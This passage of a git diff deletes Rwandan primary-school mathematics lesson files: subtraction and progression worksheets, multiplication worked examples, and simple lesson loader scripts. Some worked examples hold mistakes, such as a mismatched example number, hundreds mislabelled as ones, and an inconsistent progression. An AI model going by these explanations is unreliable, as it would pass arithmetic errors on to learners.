-  8574 ; 7574 ; 6574 ; 5574 ;
- </li>
-</ul>
-<p>
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m06/map411m06a05/description.py b/Save_Mathematics/P4/map411m06/map411m06a05/description.py
deleted file mode 100644
index 3333e65..0000000
--- a/Save_Mathematics/P4/map411m06/map411m06a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m06a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m06/map411m06a05/lesson.js b/Save_Mathematics/P4/map411m06/map411m06a05/lesson.js
deleted file mode 100644
index 662c35b..0000000
--- a/Save_Mathematics/P4/map411m06/map411m06a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m06/map411m06a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m06/map411m06a05/source.txt b/Save_Mathematics/P4/map411m06/map411m06a05/source.txt
deleted file mode 100644
index 2dac632..0000000
--- a/Save_Mathematics/P4/map411m06/map411m06a05/source.txt
+++ /dev/null
@@ -1,251 +0,0 @@
-<p>
- 1) Substract following numbers:
- <br />
- <br />
-</p>
-<ol>
- <li>
-  647 - 63
- </li>
- <li>
-  837 - 76
- </li>
- <li>
-  748 - 123
- </li>
- <li>
-  837 - 787
- </li>
- <li>
-  9484 - 2737
- </li>
- <li>
-  2424 - 909
- </li>
- <li>
-  5454 - 356
- </li>
- <li>
-  2837 - 2525
- </li>
- <li>
-  9388 - 7336
- </li>
- <li>
-  2736 - 938
- </li>
- <li>
-  2938 - 1212
- </li>
- <li>
-  7585 - 2424
- </li>
- <li>
-  6353 - 1234
- </li>
- <li>
-  8696 - 1122
- </li>
- <li>
-  9990 - 8890
- </li>
-</ol>
-<p>
- 2) Complete the substraction table below:
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="17%" valign="top">
-    -
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    756
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    3800
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    7700
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    1600
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    3000
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    121
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    635
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    200
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    7500
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    300
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    130
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    2870
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- <br />
- 3) Complete following arithmetic progression:
- <br />
- <br />
-</p>
-<ol>
- <li>
-  700 ; 690 ; 680 ; --------- ; ---------- ; ------------ .
- </li>
- <li>
-  89 ; 85 ; 81 ; ---------- ; ------------- ; -------------.
- </li>
- <li>
-  90 ; 80 ; 70 ; ------------ ; ------------- ; ------------.
- </li>
- <li>
-  99 ; 96 ; 93 ; ----------- ; ------------ ; --------------.
- </li>
- <li>
-  500 ;450 ; 400 ; ----------;------------;--------------.
- </li>
- <li>
-  1150 ; 1148 ; 1146 ; --------------- ; --------- ; ---------.
- </li>
- <li>
-  835 ; 735 ; 635 ;----------;------------;---------------.
- </li>
- <li>
-  38536; 37536; 36536 ; ------------ ;-------- ; ---------.
- </li>
- <li>
-  7965 ; 7665 ; 7365 ; ------------- ; ------------ ; -----------.
- </li>
- <li>
-  8999 ; 7999 ;6999 ; --------------;-------------;-------------.
- </li>
-</ol>
-<p>
- <br />
- 4) Francis had 80 000Rwf on his account . He lent 57 000 Rwf to his friend Aloys.
- <br />
- How much money left on his account?
- <br />
- <br />
- 5) Habimana had 10 000 cows in his farm . 890 of them died because of disease. How many cows left ?
- <br />
- <br />
- 6) In an institution of 10 000 Students , 6 000 of them passed at the first session , 3000 passed at the second session in 2010. How many students have repeated the year ?
- <br />
- <br />
- 7) Find the ratio of the following progression :
- <br />
- <br />
-</p>
-<ul>
- <li>
-  75 ; 70 ; 65 ; 60 ; 55
- </li>
- <li>
-  274 ; 264 ; 254 ; 244
- </li>
- <li>
-  7765 ; 7565 ; 7365 ; 7165 ;
- </li>
- <li>
-  9090 ; 9082 ; 9076 ; 9068;
- </li>
- <li>
-  8574 ; 7574 ; 6574 ; 5574 ;
- </li>
-</ul>
-<p>
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m06/map411m06a06/a.txt b/Save_Mathematics/P4/map411m06/map411m06a06/a.txt
deleted file mode 100644
index 8cead67..0000000
--- a/Save_Mathematics/P4/map411m06/map411m06a06/a.txt
+++ /dev/null
@@ -1,327 +0,0 @@
-<p>
- 1) A farmer had a plantation with 1775 of sugar canes ,he sold 995 canes to KABUYE factory .How many sugar canes left in that plantation?
- <br />
- <br />
- 2) Find the differance of the following:
- <br />
- <br />
-</p>
-<ul>
- <li>
-  627 - 535
- </li>
- <li>
-  789 - 544
- </li>
- <li>
-  543 - 536
- </li>
- <li>
-  789 - 123
- </li>
- <li>
-  82735 - 2826
- </li>
- <li>
-  98374 - 1524
- </li>
- <li>
-  87369 - 6347
- </li>
- <li>
-  76352 - 3768
- </li>
- <li>
-  98746 - 632
- </li>
- <li>
-  888673 - 2536
- </li>
- <li>
-  64545 - 63748
- </li>
- <li>
-  72837 - 87352
- </li>
- <li>
-  93847 - 72635
- </li>
- <li>
-  88733 - 2234
- </li>
- <li>
-  76372 - 3877
- </li>
-</ul>
-<p>
- 3) Complete the following substraction table:
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="14%" valign="top">
-    -
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    6500
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    4200
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    1800
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    5100
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    2900
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    7000
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="14%" valign="top">
-    320
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    6180
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="14%" valign="top">
-    400
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    3800
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="14%" valign="top">
-    120
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="14%" valign="top">
-    200
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    6800
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="14%" valign="top">
-    300
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    6200
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- <br />
- 4) Drag and drop numbers that are answers of the following expressions:
- <br />
- <br />
-</p>
-<ul>
- <li>
-  536 - 276
- </li>
- <li>
-  637 -12
- </li>
- <li>
-  87 -13
- </li>
- <li>
-  904 -39
- </li>
- <li>
-  7387 - 45
- </li>
- <li>
-  671 -89
- </li>
- <li>
-  748 - 142
- </li>
- <li>
-  534 - 234
- </li>
- <li>
-  989 - 243
- </li>
- <li>
-  5463 -2313
- </li>
- <li>
-  65774 - 5234
- </li>
- <li>
-  87764 -3671
- </li>
- <li>
-  1678 -125
- </li>
- <li>
-  8989 - 732
- </li>
- <li>
-  8374 -137
- </li>
- <li>
-  65783 - 1726
- </li>
-</ul>
-<p>
- <br />
- 5) Copy and complete folllowing prrogressions in your notebooks:
- <br />
- <br />
-</p>
-<ul>
- <li>
-  70 ; 65 ; 60 ; ------------ ; ----------- ; -------------
- </li>
- <li>
-  99 ; 89 ; 79 ; -------------; ------------ ; - -------------
- </li>
- <li>
-  685 ; 665 ; 645 ; -------------; ------------ ; - -------------
- </li>
- <li>
-  78458 ;68458 ; 58458 ; -------------; ------------ ; - -------------
- </li>
- <li>
-  760 ; 752 ; 744 ; -------------; ------------ ; - -------------
- </li>
-</ul>
-<p>
- 6) Find the ratio of the decreasing progressionn:
- <br />
- <br />
-</p>
-<ul>
- <li>
-  75 ; 70 ; 65 ; 60 ; 55.
- </li>
- <li>
-  380 ; 370 ; 360 ; 350.
- </li>
- <li>
-  678 ; 670 ; 662 ;654.
- </li>
- <li>
-  963 ; 952 ; 941 ; 930.
- </li>
- <li>
-  7768 ; 7668 ; 9568 ; 9468
- </li>
- <li>
-  8974 ; 8864 ; 8754 ;8644 .
- </li>
- <li>
-  84746 ; 74746 ; 64746 ; 54746 .
- </li>
- <li>
-  67635 ; 55635 ; 43635 ; 31635 .
- </li>
-</ul>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m06/map411m06a06/description.py b/Save_Mathematics/P4/map411m06/map411m06a06/description.py
deleted file mode 100644
index d059c6c..0000000
--- a/Save_Mathematics/P4/map411m06/map411m06a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m06a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m06/map411m06a06/lesson.js b/Save_Mathematics/P4/map411m06/map411m06a06/lesson.js
deleted file mode 100644
index bdd98f2..0000000
--- a/Save_Mathematics/P4/map411m06/map411m06a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m06/map411m06a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m06/map411m06a06/source.txt b/Save_Mathematics/P4/map411m06/map411m06a06/source.txt
deleted file mode 100644
index 8cead67..0000000
--- a/Save_Mathematics/P4/map411m06/map411m06a06/source.txt
+++ /dev/null
@@ -1,327 +0,0 @@
-<p>
- 1) A farmer had a plantation with 1775 of sugar canes ,he sold 995 canes to KABUYE factory .How many sugar canes left in that plantation?
- <br />
- <br />
- 2) Find the differance of the following:
- <br />
- <br />
-</p>
-<ul>
- <li>
-  627 - 535
- </li>
- <li>
-  789 - 544
- </li>
- <li>
-  543 - 536
- </li>
- <li>
-  789 - 123
- </li>
- <li>
-  82735 - 2826
- </li>
- <li>
-  98374 - 1524
- </li>
- <li>
-  87369 - 6347
- </li>
- <li>
-  76352 - 3768
- </li>
- <li>
-  98746 - 632
- </li>
- <li>
-  888673 - 2536
- </li>
- <li>
-  64545 - 63748
- </li>
- <li>
-  72837 - 87352
- </li>
- <li>
-  93847 - 72635
- </li>
- <li>
-  88733 - 2234
- </li>
- <li>
-  76372 - 3877
- </li>
-</ul>
-<p>
- 3) Complete the following substraction table:
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="14%" valign="top">
-    -
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    6500
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    4200
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    1800
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    5100
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    2900
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    7000
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="14%" valign="top">
-    320
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    6180
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="14%" valign="top">
-    400
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    3800
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="14%" valign="top">
-    120
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="14%" valign="top">
-    200
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    6800
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="14%" valign="top">
-    300
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    6200
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- <br />
- 4) Drag and drop numbers that are answers of the following expressions:
- <br />
- <br />
-</p>
-<ul>
- <li>
-  536 - 276
- </li>
- <li>
-  637 -12
- </li>
- <li>
-  87 -13
- </li>
- <li>
-  904 -39
- </li>
- <li>
-  7387 - 45
- </li>
- <li>
-  671 -89
- </li>
- <li>
-  748 - 142
- </li>
- <li>
-  534 - 234
- </li>
- <li>
-  989 - 243
- </li>
- <li>
-  5463 -2313
- </li>
- <li>
-  65774 - 5234
- </li>
- <li>
-  87764 -3671
- </li>
- <li>
-  1678 -125
- </li>
- <li>
-  8989 - 732
- </li>
- <li>
-  8374 -137
- </li>
- <li>
-  65783 - 1726
- </li>
-</ul>
-<p>
- <br />
- 5) Copy and complete folllowing prrogressions in your notebooks:
- <br />
- <br />
-</p>
-<ul>
- <li>
-  70 ; 65 ; 60 ; ------------ ; ----------- ; -------------
- </li>
- <li>
-  99 ; 89 ; 79 ; -------------; ------------ ; - -------------
- </li>
- <li>
-  685 ; 665 ; 645 ; -------------; ------------ ; - -------------
- </li>
- <li>
-  78458 ;68458 ; 58458 ; -------------; ------------ ; - -------------
- </li>
- <li>
-  760 ; 752 ; 744 ; -------------; ------------ ; - -------------
- </li>
-</ul>
-<p>
- 6) Find the ratio of the decreasing progressionn:
- <br />
- <br />
-</p>
-<ul>
- <li>
-  75 ; 70 ; 65 ; 60 ; 55.
- </li>
- <li>
-  380 ; 370 ; 360 ; 350.
- </li>
- <li>
-  678 ; 670 ; 662 ;654.
- </li>
- <li>
-  963 ; 952 ; 941 ; 930.
- </li>
- <li>
-  7768 ; 7668 ; 9568 ; 9468
- </li>
- <li>
-  8974 ; 8864 ; 8754 ;8644 .
- </li>
- <li>
-  84746 ; 74746 ; 64746 ; 54746 .
- </li>
- <li>
-  67635 ; 55635 ; 43635 ; 31635 .
- </li>
-</ul>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m07/activities.js b/Save_Mathematics/P4/map411m07/activities.js
deleted file mode 100755
index 48962d3..0000000
--- a/Save_Mathematics/P4/map411m07/activities.js
+++ /dev/null
@@ -1,10 +0,0 @@
-var activities = [
-['1','1','map4','basic','map411m07a01','blue'],
-['2','2','map4','basic','map411m07a02','blue'],
-['3','3','map4','basic','map411m07a03','blue'],
-['4','4','map4','basic','map411m07a04','blue'],
-['5','5','map4','basic','map411m07a05','blue'],
-['6','6','map4','basic','map411m07a06','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P4/map411m07/map411m07a01/a.txt b/Save_Mathematics/P4/map411m07/map411m07a01/a.txt
deleted file mode 100644
index 92176f6..0000000
--- a/Save_Mathematics/P4/map411m07/map411m07a01/a.txt
+++ /dev/null
@@ -1,28 +0,0 @@
-<ul>
- <li>
-  <span style="text-decoration: underline;">
-   <span style="text-decoration: underline;">
-    &nbsp;
-   </span>
-  </span>
-  Review . Multiplication table .
- </li>
- <li>
-  e .g : drawing sets of bananas to revise the multiplication by 5.
- </li>
- <li>
-  e.g : drawing sets of a avocadoes to revise the multiplication by 9.
- </li>
-</ul>
-<p>
- &nbsp;
-</p>
-<p>
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m07/map411m07a01/description.py b/Save_Mathematics/P4/map411m07/map411m07a01/description.py
deleted file mode 100644
index 4b955a5..0000000
--- a/Save_Mathematics/P4/map411m07/map411m07a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m07a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m07/map411m07a01/lesson.js b/Save_Mathematics/P4/map411m07/map411m07a01/lesson.js
deleted file mode 100644
index e82eaba..0000000
--- a/Save_Mathematics/P4/map411m07/map411m07a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m07/map411m07a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m07/map411m07a01/source.txt b/Save_Mathematics/P4/map411m07/map411m07a01/source.txt
deleted file mode 100644
index 92176f6..0000000
--- a/Save_Mathematics/P4/map411m07/map411m07a01/source.txt
+++ /dev/null
@@ -1,28 +0,0 @@
-<ul>
- <li>
-  <span style="text-decoration: underline;">
-   <span style="text-decoration: underline;">
-    &nbsp;
-   </span>
-  </span>
-  Review . Multiplication table .
- </li>
- <li>
-  e .g : drawing sets of bananas to revise the multiplication by 5.
- </li>
- <li>
-  e.g : drawing sets of a avocadoes to revise the multiplication by 9.
- </li>
-</ul>
-<p>
- &nbsp;
-</p>
-<p>
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m07/map411m07a02/a.txt b/Save_Mathematics/P4/map411m07/map411m07a02/a.txt
deleted file mode 100644
index 2abaa46..0000000
--- a/Save_Mathematics/P4/map411m07/map411m07a02/a.txt
+++ /dev/null
@@ -1,278 +0,0 @@
-<p>
- 1) Uwihoreye offered
- <span style="text-decoration: underline;">
-  <span style="font-weight: bold;">
-   &nbsp;
-  </span>
- </span>
- 3 balls to each of his 5 children. How many balls did he buy ?
- <br />
- instruction: drawing balls.
-</p>
-<h5 style="text-decoration: underline;">
- Soutions
-</h5>
-<p>
- Uwihoreye has 5 children.
- <br />
- He wants to give them 3 balls to each of them.
- <br />
- he bought =3 balls, 5 times = 3 balls + 3 balls + 3 balls + 3 balls + 3 balls
- <br />
- or 3 balls x 5 = 1 5 balls .
- <br />
- <br />
- 2)Eliphaz is going to buy 4 pairs of shoes for his brothers . if each pair cost 5000Rwf, How much money does he need?
- <br />
- <br />
-</p>
-<h5 style="text-decoration: underline;">
- Soutions
-</h5>
-<p>
- Eliphaz wants 4 pairs of shoes .
- <br />
- Each pair costs 5000 Rwf.
- <br />
- <br />
- He needs = 5000Rwf&times;4=20 000 Rwf.
- <br />
- <br />
- You can use a numeration table :
- <br />
- e.g 2 3 4 &times; 2
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="33%" valign="top">
-    Hundreds
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    Tens
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    ones
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="33%" valign="top">
-    7
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    4
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="33%" valign="top">
-    x
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    2
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="33%" valign="top">
-    1 5
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    2
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    8
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- Remember : Arrange numbers such that the multiplier is under the ones of the multiplicand then multiply.
- <br />
- Multiply 4 ones by 2 = 4 x 2 = 8 ones
- <br />
- Multiply 6 ones by 2 = 6 x 2 = 1 2 ones
- <br />
- Write 2 in tens take 1 to hundreds
- <br />
- Multiply 7 hundreds by 2 = 7 x 2 = 14 ones
- <br />
- Add 1 hundred = 15 hundreds
- <br />
- <br />
- Multiply 1 5 8 x 3 4
- <br />
- Remember : start multiplying by ones then tens before you add :
- <br />
- <br />
- 1 5 8
- <span style="color: #ffffff;">
-  ......................X
- </span>
- <br />
- x 3 4
- <br />
- l l
- <br />
- l l___Ones
- <br />
- l____Tens
- <br />
- <span style="color: #cccccc;">
- </span>
- <span style="color: #ffffff;">
- </span>
- <br />
- <span style="color: #ffffff;">
-  .......
- </span>
- 158
- <br />
- x
- <span style="text-decoration: underline;">
-  <span style="color: #ffffff;">
-   ........
-  </span>
-  4
- </span>
- <br />
- <span style="color: #ffffff;">
-  ......
- </span>
- 6 32
- <br />
- <br />
- 1 5 8
- <br />
- <span style="text-decoration: underline;">
-  <span style="color: #ffffff;">
-   x .
-  </span>
-  3 0
- </span>
- <br />
- 4 7 4 0
-</p>
-<div style="text-align: left;">
-</div>
-<ul>
- <li>
-  Multiply
-  <span style="font-weight: bold;">
-   Ones
-  </span>
- </li>
- <li>
-  Multiply by
-  <span style="font-weight: bold;">
-   Tens
-  </span>
- </li>
- <li>
-  Arrange Multiplication by
-  <span style="font-weight: bold;">
-   Ones
-  </span>
-  and
-  <span style="font-weight: bold;">
-   Tens .
-  </span>
- </li>
-</ul>
-<p>
- <span style="font-weight: bold;">
- </span>
- 1 5 8
- <br />
- <span style="font-weight: bold;">
-  <span style="text-decoration: underline;">
-   x
-  </span>
- </span>
- <span style="text-decoration: underline;">
-  3 4
- </span>
- <br />
- 6 3 2
- <br />
- <span style="text-decoration: underline;">
-  +474
- </span>
- <br />
- 53 72
-</p>
-<ul>
- <li>
-  Remember : Multiplication is an operation similar to addition of equal numbers . 25 +25 + 25 + 25 + 25 + 25 = 150
- </li>
-</ul>
-<p>
- To multiply a two digit numbers , multiply by ones then by tens . Lastly , add up the two results .
- <br />
- e.g : 3 1 7 x 4 3 = 3 1 7 x ( 4 0 + 3 )
- <br />
- =( 3 1 7 x 4 0) + ( 3 1 7 x 3 )
- <br />
- =1 2 6 8 0 + 9 5 1
- <br />
- =1 3 6 3 1
- <br />
- <span style="color: #ffffff;">
-  ..................
- </span>
- <br />
- <span style="color: #ffffff;">
-  ................
- </span>
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <span style="color: #ffffff;">
-  ..........................
- </span>
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <span style="color: #ffffff;">
-  ....
- </span>
- <br />
- <span style="color: #ffffff;">
-  ..
- </span>
- <br />
- <br />
- <br />
- <br />
- <br />
- <span style="color: #ffffff;">
-  .
- </span>
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m07/map411m07a02/description.py b/Save_Mathematics/P4/map411m07/map411m07a02/description.py
deleted file mode 100644
index a6d65de..0000000
--- a/Save_Mathematics/P4/map411m07/map411m07a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m07a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m07/map411m07a02/lesson.js b/Save_Mathematics/P4/map411m07/map411m07a02/lesson.js
deleted file mode 100644
index 94adf55..0000000
--- a/Save_Mathematics/P4/map411m07/map411m07a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m07/map411m07a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m07/map411m07a02/source.txt b/Save_Mathematics/P4/map411m07/map411m07a02/source.txt
deleted file mode 100644
index 2abaa46..0000000
--- a/Save_Mathematics/P4/map411m07/map411m07a02/source.txt
+++ /dev/null
@@ -1,278 +0,0 @@
-<p>
- 1) Uwihoreye offered
- <span style="text-decoration: underline;">
-  <span style="font-weight: bold;">
-   &nbsp;
-  </span>
- </span>
- 3 balls to each of his 5 children. How many balls did he buy ?
- <br />
- instruction: drawing balls.
-</p>
-<h5 style="text-decoration: underline;">
- Soutions
-</h5>
-<p>
- Uwihoreye has 5 children.
- <br />
- He wants to give them 3 balls to each of them.
- <br />
- he bought =3 balls, 5 times = 3 balls + 3 balls + 3 balls + 3 balls + 3 balls
- <br />
- or 3 balls x 5 = 1 5 balls .
- <br />
- <br />
- 2)Eliphaz is going to buy 4 pairs of shoes for his brothers . if each pair cost 5000Rwf, How much money does he need?
- <br />
- <br />
-</p>
-<h5 style="text-decoration: underline;">
- Soutions
-</h5>
-<p>
- Eliphaz wants 4 pairs of shoes .
- <br />
- Each pair costs 5000 Rwf.
- <br />
- <br />
- He needs = 5000Rwf&times;4=20 000 Rwf.
- <br />
- <br />
- You can use a numeration table :
- <br />
- e.g 2 3 4 &times; 2
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="33%" valign="top">
-    Hundreds
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    Tens
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    ones
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="33%" valign="top">
-    7
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    4
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="33%" valign="top">
-    x
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    2
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="33%" valign="top">
-    1 5
-    <br />
